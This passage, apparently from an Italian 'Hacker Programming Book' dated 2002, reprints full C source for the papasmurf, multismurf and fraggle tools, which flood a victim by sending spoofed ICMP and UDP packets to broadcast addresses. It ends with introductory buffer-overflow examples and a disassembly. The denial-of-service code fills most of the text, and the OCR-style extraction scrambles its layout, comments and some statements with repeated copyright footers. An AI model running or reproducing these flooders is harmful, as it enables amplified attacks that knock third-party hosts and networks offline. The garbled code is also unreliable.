A hearty enema using 15.0mol/L HCl to... o #Conflict. Perhaps you are just my scapegoat of agression, but you all really need to stop flooding efnet servers/taking over irc channels/mass owning networks running old qpoppers and get a fucking life. BR. It wouldn't be the same without you in here, but to be honest you really aren't worth the space in the already way-to-bloated header, nor the creative energy of me coming up with an intricate bash that you will never understand anyway. Shrug, hatred disguises itself as apathy with time.

I feel like I'm writing a fucking essay here...

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* * * * * * * * * * * * * * * */ To compile: "gcc -DLINUX -o smurf5 papasmurf.c" if your LINUXish. or just "gcc -o smurf5 papasmurf.c" if your BSDish. Old linux kernels won't have BSD header support, so this may not compile. If you wish a linux-only version, do it yourself, or mail tfreak@jaded.net, and I might lend you mine. And most importantly, please don't abuse this. anything with this code, learn from it. I remain, TFreak. If you are going to do

/* End of Hideously Long Header */ #include <stdio.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #ifdef LINUX #define __FAVOR_BSD #ifndef _USE_BSD #define _USE_BSD #endif #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #ifdef LINUX #define FIX(n) #else #define FIX(n) #endif htons(n) (n)

/* should be __FAVOUR_BSD ;) */

struct smurf_t { struct sockaddr_in sin; int s; int udp, icmp; int rnd; int psize; int num; */ int delay; u_short dstport[25+1]; u_short srcport; char *padding; }; /* function prototypes */ void usage (char *); u_long resolve (char *); void getports (struct smurf_t *, char *); void smurficmp (struct smurf_t *, u_long); void smurfudp (struct smurf_t *, u_long, int); u_short in_chksum (u_short *, int); int main (int argc, char *argv[]) { struct smurf_t sm;

/* socket prot structure */ /* socket */ /* icmp, udp booleans */ /* Random dst port boolean */ /* packet size */ /* number of packets to send /* /* dest port /* /* junk data delay between (in ms) */ array (udp) */ source port (udp) */ */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


struct stat st; u_long bcast[1024]; char buf[32]; int c, fd, n, cycle, num = 0, on = 1; FILE *bcastfile; /* shameless self promotion banner */ fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n"); if (argc < 3) usage(argv[0]); /* set defaults */ memset((struct smurf_t *) &sm, 0, sizeof(sm)); sm.icmp = 1; sm.psize = 64; sm.num = 0; sm.delay = 10000; sm.sin.sin_port = htons(0); sm.sin.sin_family = AF_INET; sm.srcport = 0; sm.dstport[0] = 7; /* resolve 'source' host, quit on error */ sm.sin.sin_addr.s_addr = resolve(argv[1]); /* open the broadcast file */ if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("Opening broadcast file"); exit(-1); } /* parse out options */ optind = 3; while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1) { switch (c) { /* random dest ports */ case 'r': sm.rnd = 1; break; /* random src/dest ports */ case 'R': sm.rnd = 1; sm.srcport = 0; break; /* number of packets to send */ case 'n': sm.num = atoi(optarg); break; /* usleep between packets (in ms) */ case 'd': sm.delay = atoi(optarg); break; /* multiple ports */ case 'p': if (strchr(optarg, ',')) getports(&sm, optarg); else sm.dstport[0] = (u_short) atoi(optarg); break; /* specify protocol */ case 'P': if (strcmp(optarg, "icmp") == 0) { /* this is redundant */ sm.icmp = 1; break; } if (strcmp(optarg, "udp") == 0)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


{

sm.icmp = 0; sm.udp = 1; break;

} if (strcmp(optarg, "both") == 0) { sm.icmp = 1; sm.udp = 1; break; } puts("Error: Protocol must be icmp, udp or both"); exit(-1); /* source port */ case 's': sm.srcport = (u_short) atoi(optarg); break; /* specify packet size */ case 'S': sm.psize = atoi(optarg); break; /* filename to read padding in from */ case 'f': /* open and stat */ if ((fd = open(optarg, O_RDONLY)) == -1) { perror("Opening packet data file"); exit(-1); } if (fstat(fd, &st) == -1) { perror("fstat()"); exit(-1); } /* malloc and read */ sm.padding = (char *) malloc(st.st_size); if (read(fd, sm.padding, st.st_size) < st.st_size) { perror("read()"); exit(-1); } sm.psize = st.st_size; close(fd); break; default: usage(argv[0]);

} } /* end getopt() loop */

/* create packet padding if neccessary */ if (!sm.padding) { sm.padding = (char *) malloc(sm.psize); memset(sm.padding, 0, sm.psize); } /* create the raw socket */ if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("Creating raw socket (are you root?)"); exit(-1); } /* Include IP headers ourself (thanks anyway though) */ if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt()"); exit(-1); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* read in our broadcasts and store them in our array */ while (fgets(buf, sizeof buf, bcastfile) != NULL) { char *p; int valid; /* skip over comments/blank lines */ if (buf[0] == '#' || buf[0] == '\n') continue; /* get rid of newline */ buf[strlen(buf) - 1] = '\0'; /* check for valid address */ for (p = buf, valid = 1; *p != '\0'; p++) { if ( ! isdigit(*p) && *p != '.' ) { fprintf(stderr, "Skipping invalid ip %s\n", buf); valid = 0; break; } } /* if valid address, copy to our array */ if (valid) { bcast[num] = inet_addr(buf); num++; if (num == 1024) break; } } /* end bcast while loop */ /* seed our random function */ srand(time(NULL) * getpid()); /* wee.. */ for (n = 0, cycle = 0; n < sm.num || !sm.num; n++) { if (sm.icmp) smurficmp(&sm, bcast[cycle]); if (sm.udp) { int x; for (x = 0; sm.dstport[x] != 0; x++) smurfudp(&sm, bcast[cycle], x); } /* quick nap */ usleep(sm.delay); /* cosmetic psychadelic dots */ if (n % 50 == 0) { printf("."); fflush(stdout); } cycle = (cycle + 1) % num; } } exit(0);

void usage (char *s) { fprintf(stderr, "usage: %s <source host> <broadcast file> [options]\n" "\n" "Options\n" "-p: Comma separated list of dest ports (default 7)\n" "-r: Use random dest ports\n" "-R: Use random src/dest ports\n" "-s: Source port (0 for random (default))\n"

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


"-P: "-S: "-f: "-n: "-d: "\n", } exit(-1); Protocols to use. Either icmp, udp or both\n" Packet size in bytes (default 64)\n" Filename containg packet data (not needed)\n" Num of packets to send (0 is continuous (default))\n" Delay inbetween packets (in ms) (default 10000)\n" s);

u_long resolve (char *host) { struct in_addr in; struct hostent *he; /* try ip first */ if ((in.s_addr = inet_addr(host)) == -1) { /* nope, try it as a fqdn */ if ((he = gethostbyname(host)) == NULL) { /* can't resolve, bye. */ herror("Resolving victim host"); exit(-1); } memcpy( (caddr_t) &in, he->h_addr, he->h_length); } } return(in.s_addr);

void getports (struct smurf_t *sm, char *p) { char tmpbuf[16]; int n, i; for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++) { if (*p == ',') { tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); n++; i = -1; continue; } tmpbuf[i] = *p; } tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); sm->dstport[n + 1] = 0;

void smurficmp (struct smurf_t *sm, u_long dst) { struct ip *ip; struct icmp *icmp; char *packet; int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize; packet = malloc(pktsize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, pktsize); /* fill in IP header */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


ip->ip_len = FIX(pktsize); ip->ip_ttl = 255; ip->ip_off = 0; ip->ip_id = FIX( getpid() ); ip->ip_p = IPPROTO_ICMP; ip->ip_sum = 0; ip->ip_src.s_addr = sm->sin.sin_addr.s_addr; ip->ip_dst.s_addr = dst; /* fill in ICMP header */ icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* thx griffin */

/* send it on its way */ if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, sizeof(struct sockaddr)) == -1) { perror("sendto()"); exit(-1); } } free(packet); /* free willy! */

void smurfudp (struct smurf_t *sm, u_long dst, int n) { struct ip *ip; struct udphdr *udp; char *packet, *data; int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize; packet = (char *) malloc(pktsize); ip = (struct ip *) packet; udp = (struct udphdr *) (packet + sizeof(struct ip)); data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr)); memset(packet, 0, pktsize); if (*sm->padding) memcpy((char *)data, sm->padding, sm->psize); /* fill in IP header */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = FIX(pktsize); ip->ip_ttl = 255; ip->ip_off = 0; ip->ip_id = FIX( getpid() ); ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; ip->ip_src.s_addr = sm->sin.sin_addr.s_addr; ip->ip_dst.s_addr = dst; /* fill in UDP header */ if (sm->srcport) udp->uh_sport = htons(sm->srcport); else udp->uh_sport = htons(rand()); if (sm->rnd) udp->uh_dport = htons(rand()); else udp->uh_dport = htons(sm->dstport[n]); udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize); udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp)); /* send it on its way */ if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, sizeof(struct sockaddr)) == -1) { perror("sendto()"); exit(-1); } free(packet); } /* free willy! */

//

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


u_short in_chksum (u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /* EOF */

Un altro programma legato allo smurf quello che segue.


/* Multi Smurf by Sagatcool and Guilecool can let u packet many ips all together by ImperialS Crew 2001. Don't do shits just test your machines ! */ #include <stdio.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #ifdef __USE_BSD #undef __USE_BSD #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #define MAX_IP 10 struct smurf_t { struct sockaddr_in sin; prot structure */ int s; */ int rnd; dst port boolean */ int psize; size */ int num; of packets to send */ int delay; between (in ms) */ /* delay /* number /* packet /* Random /* socket

/* socket

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


u_short dstport[25+1]; port array (udp) */ u_short srcport; port (udp) */ char *padding; data */ }; typedef char string[15]; /* function prototypes */ void usage (char *); u_long resolve (char *); void getports (struct smurf_t *, char *); void smurficmp (struct smurf_t *, u_long); u_short in_chksum (u_short *, int); int calcolamax(string *,int); int main (int argc, char *argv[]) { struct smurf_t sm[MAX_IP]; string s[MAX_IP]; struct stat st; u_long bcast[1024]; char buf[32]; int c, fd, n, cycle, num = 0, on = 1; FILE *bcastfile; int i,maxip,j,ang; /* shameless self promotion banner */ fprintf(stderr, "\n multismurf.c v1.0b \033[1;36m by sagatcool & Guilecool \033[0m(thanks to TFreak)\n\n"); if (argc < 3) usage(argv[0]); for(j=1;j<argc;j++) { for(i=0;i<=strlen(argv[j]);i++) s[j-1][i]=argv[j][i]; } maxip=calcolamax(s,argc); printf("\t\t\t\033[5;1m %d FLOOD REQUEST SENT \033[0m ",maxip); for(i=0;i<maxip;i++) { /* set defaults */ memset((struct smurf_t *) &sm[i], 0,sizeof(sm[i])); sm[i].psize = 64; sm[i].num = 0; sm[i].delay = 10000; sm[i].sin.sin_port = htons(0); sm[i].sin.sin_family = AF_INET; sm[i].srcport = 0; sm[i].dstport[0] = 7; /* resolve 'source' host, quit on error */ sm[i].sin.sin_addr.s_addr = resolve(s[i]); } /* open the broadcast file */ if ((bcastfile = fopen(s[maxip], "r")) == NULL) { /* junk /* source /* dest

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


perror("Opening broadcast file"); exit(-1); } /* parse out options */ optind = 3; while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1) { switch (c) { /* random dest ports */ case 'r': sm[0].rnd = 1; break; /* random src/dest ports */ case 'R': sm[0].rnd = 1; sm[0].srcport = 0; break; /* number of packets to send */ case 'n': sm[0].num = atoi(optarg); break; /* usleep between packets (in ms) */ case 'd': sm[0].delay = atoi(optarg); break; /* multiple ports */ case 'p': if (strchr(optarg, ',')) getports(&sm[0], optarg); else sm[0].dstport[0] = (u_short) atoi(optarg); break; /* source port */ case 's': sm[0].srcport = (u_short) atoi(optarg); break; /* specify packet size */ case 'S': sm[0].psize = atoi(optarg); break; /* filename to read padding in from */ case 'f': /* open and stat */ if ((fd = open(optarg, O_RDONLY)) == -1) { perror("Opening packet data file"); exit(-1); } if (fstat(fd, &st) == -1) { perror("fstat()"); exit(-1); } /* malloc and read */ sm[0].padding = (char *) malloc(st.st_size);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


if (read(fd, sm[0].padding, st.st_size) < st.st_size) { perror("read()"); exit(-1); } sm[0].psize = st.st_size; close(fd); break; default: usage(argv[0]); } } /* end getopt() loop */ for(i=0;i<maxip;i++) { /* create packet padding if neccessary */ if (!sm[i].padding) { sm[i].padding = (char *) malloc(sm[i].psize); memset(sm[i].padding, 0, sm[i].psize); } /* create the raw socket */ if ((sm[i].s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("Creating raw socket (are you root?)"); exit(-1); } /* Include IP headers ourself (thanks anyway though) */ if (setsockopt(sm[i].s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt()"); exit(-1); } }/* Fine Ciclo */ /* read in our broadcasts and store them in our array */ while (fgets(buf, sizeof buf, bcastfile) != NULL) { char *p; int valid; /* skip over comments/blank lines */ if (buf[0] == '#' || buf[0] == '\n') continue; /* get rid of newline */ buf[strlen(buf) - 1] = '\0'; /* check for valid address */ for (p = buf, valid = 1; *p != '\0'; p++) { if ( ! isdigit(*p) && *p != '.' ) { fprintf(stderr, "Skipping invalid ip %s\n", buf); valid = 0; break; } }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* if valid address, copy to our array */ if (valid) { bcast[num] = inet_addr(buf); num++; if (num == 1024) break; } } /* end bcast while loop */ /* seed our random function */ srand(time(NULL) * getpid()); /* wee.. */ i=0; for (n = 0, cycle = 0; n < sm[0].num || !sm[0].num; n++) { if(i==maxip) i=0; smurficmp(&sm[i], bcast[cycle]); /* quick nap */ usleep(sm[0].delay); /* cosmetic psychadelic dots */ if (n % 50 == 0) { printf("\033[1;34m.\033[0m"); fflush(stdout); } i++; cycle = (cycle + 1) % num; } exit(0); } void usage (char *s) { fprintf(stderr, "usage: %s <victim host_1> [<victim host_2> ... <victim host_10>] <broadcast file> [options]\n" "\n" "Options\n" "-p: Comma separated list of dest ports (default 7)\n" "-r: Use random dest ports\n" "-R: Use random src/dest ports\n" "-s: Source port (0 for random (default))\n" "-S: Packet size in bytes (default 64)\n" "-f: Filename containg packet data (not needed)\n" "-n: Num of packets to send (0 is continuous (default))\n" "-d: Delay inbetween packets (in ms) (default 10000)\n" "\n", s); exit(-1); } u_long resolve (char *host) { struct in_addr in; struct hostent *he;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

/* try ip first */ if ((in.s_addr = inet_addr(host)) == -1) { /* nope, try it as a fqdn */ if ((he = gethostbyname(host)) == NULL) { /* can't resolve, bye. */ herror("Resolving victim host"); exit(-1); } memcpy( (caddr_t) &in, he->h_addr, he->h_length); } return(in.s_addr); } void getports (struct smurf_t *sm, char *p) { char tmpbuf[16]; int n, i; for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++) { if (*p == ',') { tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); n++; i = -1; continue; } tmpbuf[i] = *p; } tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); sm->dstport[n + 1] = 0; } void smurficmp (struct smurf_t *sm, u_long dst) { struct iphdr *ip; struct icmphdr *icmp; char *packet; int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize; packet = malloc(pktsize); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, pktsize); /* fill in IP header */ ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = htons(pktsize); ip->id = htons(getpid()); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


ip->check = 0; ip->saddr = sm->sin.sin_addr.s_addr; ip->daddr = dst; /* fill in ICMP header */ icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); griffin */ /* send it on its way */ if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, sizeof(struct sockaddr)) == -1) { perror("sendto()"); exit(-1); } free(packet); free willy! */ } u_short in_chksum (u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int calcolamax(string *s,int argc) { int i,j; for(j=0;j<argc-1;j++) { if(s[j][0]<'1' || s[j][0]>'9') break; } return j; } /*

/* thx

Altri Denial of Service


Come ho detto allinizio gli exploits legati ai Dos li ho volutamente trattai solo superficilamente in quanto, parte alcuni casi, spesso sono utilizzati soltanto per motivazioni di rompimento di scatole da parte dei vari Superman dellhacking (quelli che ogi tre parole ci mettono due porco xxx).

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Alcune volte invece la tecnica necessaria come ad esempio nel caso in cui si voglia azzittire un determinato host come nel caso delle tecniche di spoofing viste prima. Il seguente programma in grado di portare immediatamente luso della CPU a valori altissimi, creando quindi un Dos.
struct pktinfo { int ps; int src; int dst; }; void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *); void sigint (int); unsigned short checksum (u_short *, int); int main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; struct pktinfo p; int s, num, delay, n, cycle; char **bcast = malloc(1024), buf[32]; FILE *bfile; /* banner */ fprintf(stderr, "\nfraggle.c by TFreak\n\n"); /* capture ctrl-c */ signal(SIGINT, sigint); /* check for enough cmdline args */ if (argc < 5) { fprintf(stderr, "usage: %s " " [dstport] [srcport] [psize] \n\n" "target\t\t= address to hit\n" "bcast file\t= file containing broadcast addrs\n" "num packets\t= send n packets (n = 0 is constant)\n" "packet delay\t= usleep() between packets (in ms)\n" "dstport\t\t= port to hit (default 7)\n" "srcport\t\t= source port (0 for random)\n" "ps\t\t= packet size\n\n", argv[0]); exit(-1); } /* get port info */ if (argc >= 6) p.dst = atoi(argv[5]); else p.dst = 7; if (argc >= 7) p.src = atoi(argv[6]); else p.src = 0; /* packet size redundant if not using echo port */ if (argc >= 8) p.ps = atoi(argv[7]); else p.ps = 1; /* other variables */ num = atoi(argv[3]); delay = atoi(argv[4]); /* resolve host */ if (isdigit(*argv[1])) sin.sin_addr.s_addr = inet_addr(argv[1]); else { if ((he = gethostbyname(argv[1])) == NULL) {

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


fprintf(stderr, "Can't resolve hostname!\n\n"); exit(-1); } memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length); } sin.sin_family = AF_INET; sin.sin_port = htons(0); /* open bcast file and build array */ if ((bfile = fopen(argv[2], "r")) == NULL) { perror("opening broadcast file"); exit(-1); } n = 0; while (fgets(buf, sizeof buf, bfile) != NULL) { buf[strlen(buf) - 1] = 0; if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; bcast[n] = malloc(strlen(buf) + 1); strcpy(bcast[n], buf); n++; } bcast[n] = '\0'; fclose(bfile); /* check for addresses */ if (!n) { fprintf(stderr, "Error: No valid addresses in file!\n\n"); exit(-1); } /* create our raw socket */ if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0) { perror("creating raw socket"); exit(-1); } printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (n = 0, cycle = 0; n < num || !num; n++) { if (!(n % 25)) { printf("."); fflush(stdout); } srand(time(NULL) * rand() * getpid()); fraggle(s, &sin, inet_addr(bcast[cycle]), &p); if (bcast[++cycle] == NULL) cycle = 0; usleep(delay); } sigint(0); } void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p) { struct iphdr *ip; struct udphdr *udp; char *packet; int r; packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); ip = (struct iphdr *)packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); /* ip header */ ip->protocol = IPPROTO_UDP;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


ip->saddr = sin->sin_addr.s_addr; ip->daddr = dest; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p>ps); ip->ihl = 5; ip->frag_off = 0; ip->check = checksum((u_short *)ip, sizeof(struct iphdr)); /* udp header */ udp->len = htons(sizeof(struct udphdr) + p->ps); udp->dest = htons(p->dst); if (!p->src) udp->source = htons(rand()); else udp->source = htons(p->src); /* send it on its way */ r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p>ps, 0, (struct sockaddr *) sin, sizeof(struct sockaddr_in)); if (r == -1) { perror("\nSending packet"); exit(-1); } free(packet); /* free willy 2! */ } unsigned short checksum (u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft--; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } void sigint (int ignoremewhore) { fprintf(stderr, "\nDone!\n\n"); exit(0); }

I buffers overflow
Quando una persona, dopo aver studiato lhacking, scopre che di fatto questo non dispone di bacchette magiche per riuscire ad entrare nei sistemi remoti, spesso ci rimane male. La realt che non una bacchetta magica ma un piccolo bastoncino alcune volte c anche se utilizzarlo non sicuramente una delle cose pi semplici. Vi sarete chiesti negli altri capitoli sul come mai venivano trattati argomenti come lassembler. Ecco il perch ! Il sistema dei buffer overflow costituisce un metodo per raggiungere due obbiettivi differenti.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Il primo sicuramente quello pi semplice da capire in quanto spesso vi sar capitato senza volerlo e precisamente quello di vedere il programma che smette di funzionare creando un crash di sistema. I programmi eseguiti in memoria sono costituiti da istruzioni in codice binario, interpretabili anche come codice assemblativo, le quali vengono eseguite dal processore mediante lausilio di quello che il puntatore allistruzione (IP o instruction pointer). Quando per qualsiasi motivo listruzione che sta per essere interpretata cambia, vuoi per un disturbo nella RAM che ha modificato il valore del codice operativo oppure perch i valori sono stati sovrapposti con altri per errori nellambito delle funzioni di assegnazione della memoria, il programma cessa di funzionare facendoci uscire a sistema operativo oppure bloccando tutto a tal punto da dover resettare fisicamente il sistema. Come stavamo dicendo il sistema di overflow dei buffers potrebbe avere due scopi ben definiti e precisamente il primo legato al tentativo di mandare in crash un programma mentre il secondo quello di mandare in esecuzione del codice specificato nel buffer stesso come codici esadecimali. Il primo sistema potrebbe essere rappresento da uno schema usato per fare comprendere il principio il quale ha uno scopo pi dimostrativo che pratico in quanto poi in realt il metodo per eseguirlo si basa sempre su questo sistema ma utilizzando altri riferimenti di memoria. In ogni caso vediamo prima di cercare di dimostrare il concetto delloverflow di memoria usando questo esempio. Supponete che la dichiarazione di una variabile relativa ad un buffer creai un allocazione di memoria a partire da un certo indirizzo, 00400000 per esempio. Come abbiamo detto nella parte legata alla programmazione, una variabile di qualsiasi tipo occupa in memoria un certo spazio, dipendente dal suo tipo, partendo da una locazione allinterno di uno dei segmenti o delle zone di memoria del programma. Questo significa che se da qualche parte ci fosse una routine che riceve una sequenza di caratteri da mettere in quel buffer questa inizierebbe il riempimento partendo dal primo byte di memoria riservato per questa variabile. Sempre in termini condizionali, se il programmatore avesse supposto che la lunghezza massima del buffer avrebbe potuto essere al massimo 100 caratteri significherebbe che per 100 bytes a partire da questindirizzo non verrebbe messo nullaltro in quanto il sistema avrebbe riservato la memoria solo per questa variabile. La definizione del buffer e la routine di inserimento dei valori in questo buffer potrebbe essere del tipo : #include <memory.h> #include <string.h> char buffer[100];

char main(void) { char datiricevuti[1000]; gets(datiricevuti); memcpy(buffer, datiricevuti, strlen(datiricevuti)); } La variabile locale datiricevuti, come potete vedere, di dimensioni molto maggiori a quella del buffer allocato globalmente, precisamente 10 volte. I dati letti dalla funzione GETS verrebbero da prima collocati in questa variabile locale e poi copiati dentro al buffer dalla funzione MEMCPY. Da questo si potrebbe capire che il valore inserito da tastiera potrebbe essere fino a 1000 bytes visto che la variabile che riceve direttamente questi dati di queste dimensioni. La funzione di copia al limite potrebbe copiare a partire dal primo indirizzo della variabile di destinazione anche molti BYTES di pi di quanti ne potrebbe ricevere buffer. Tutto questo per il fatto che il programma di fatto non controlla in effetti la dimensione del buffer da copiare e usa una funzione, STRLEN, che imbastisce il numero di bytes di copiare a seguito della valutazione del solo buffer di lettura locale.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Questo quello che potrebbe capitare nei programmi indirizzati alla gestione di servers, sistemi operativi e librerie varie. In altre parole alcuni valori passati dallesterno potrebbero non venire controllati come lunghezza. Chiaramente i bytes eccedenti andrebbero a sovrapporsi da qualche altra parte della memoria.

La visualizzazione del codice in assembler potrebbe essere :


003998B0 unk_4098B0 sub_401000+29o 003998B1 003998B2 003998B3 003998B4 003998B5 . . 00401000 sub_401000 start+AFp 00401000 00401000 var_3E8 00401000 00401000 00401006 0040100A 0040100B 0040100C 0040100D 00401012 00401016 00401019 0040101B 0040101E 00401020 00401022 00401023 00401027 00401029 0040102E 00401031 00401033 00401035 00401038 0040103A 0040103B 0040103C 00401042 00401042 sub_401000 db db db db db db 0 0 0 0 0 ; ; ; ; ; ; CODE XREF: 0 ; ; DATA XREF:

proc near = byte ptr -3E8h sub esp, 3E8h lea eax, [esp+3E8h+var_3E8] push esi push edi push eax call _gets lea edi, [esp+3F4h+var_3E8] or ecx, 0FFFFFFFFh xor eax, eax add esp, 4 repne scasb not ecx dec ecx lea esi, [esp+3F0h+var_3E8] mov edx, ecx mov edi, offset unk_4098B0 shr ecx, 2 repe movsd mov ecx, edx and ecx, 3 repe movsb pop edi pop esi add esp, 3E8h retn endp

Come potete vedere la linea 00401029 mov edi, offset unk_4098B0 setta loffset di dove caricare il valore. unk_4098B0 corrisponde al nome dato dal disassemblatore alla variabile buffer. Capirete che se il valore che verr copiato pi corto o uguale ai 100 bytes riservati questi verranno inseriti nello spazio riservato per il buffer stesso. Se invece di 100 bytes la lunghezza fosse molto maggiore si andrebbe a sovra scrivere la zona di codice creando problemi seri di esecuzione. Nel caso precedente loverflow del buffer avveniva nel caso di un buffer statico allocato in un segmento dati.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


La stessa cosa in ogni caso avrebbe potuto avvenire anche allinterno di un altro segmento come ad esempio nellheap. Guardate il codice che segue. #include #include #include #include void { <stdio.h> <stdlib.h> <string.h> <memory.h>

main(void)

unsigned long diff; char *buffer1 = (char *) malloc(16); char *buffer2 = (char *) malloc(16); diff = (unsigned long) buffer2 - (unsigned long) buffer1; printf("ADDR buffer1 = %p, ADDR buffer2 = %p, diff = 0x%x bytes\n", buffer1, buffer2, diff), memset(buffer2, 'A', 15); buffer2[15] = '\0'; printf("Prima del buffer overflow: buffer2 = %s\n", buffer2); memset(buffer1, 'B', (unsigned int)(diff + 8)); printf("Dopo del buffer overflow: buffer2 = %s\n", buffer2); } Cosa abbiamo fatto ? Abbiamo dichiarato due puntatori ovvero due spazi sufficienti a contenere un indirizzo. Questo indirizzo stato assegnato con quello relativo a due zone di memoria allocate con la funzione per lallocazione dinamica MALLOC(). A questo punto buffer1 contiene lindirizzo della prima zona di memoria allocata mentre buffer2 quello del secondo. Diff a questo punto viene assegnato calcolando la differenza tra lindirizzo del secondo buffer meno quello del primo. In buffer2 mettiamo tutte A mediante la memset. Ora nel buffer1 assegniamo pi valori B di quanti essa possa contenere (la sua dimensione + 8 bytes). In questo modo il programma ci mostra gli effetti dello sconfinamento, ovvero delloverflow, eseguito. Loutput a video : c:\Temp>buffer ADDR buffer1 = 00321F80, ADDR buffer2 = 00321F98, diff = 0x18 bytes Prima del buffer overflow: buffer2 = AAAAAAAAAAAAAAA Dopo del buffer overflow: buffer2 = BBBBBBBBAAAAAAA c:\Temp> Esistono molti punti anche legati a DLL di sistema che possiedono degli indirizzi che possono creare problemi come ad esempio : Dentro a SHELL32.DLL v 4.72.3110.6 @7FCE2373 In MSIEFTP.DLL v 5.00.2014.209 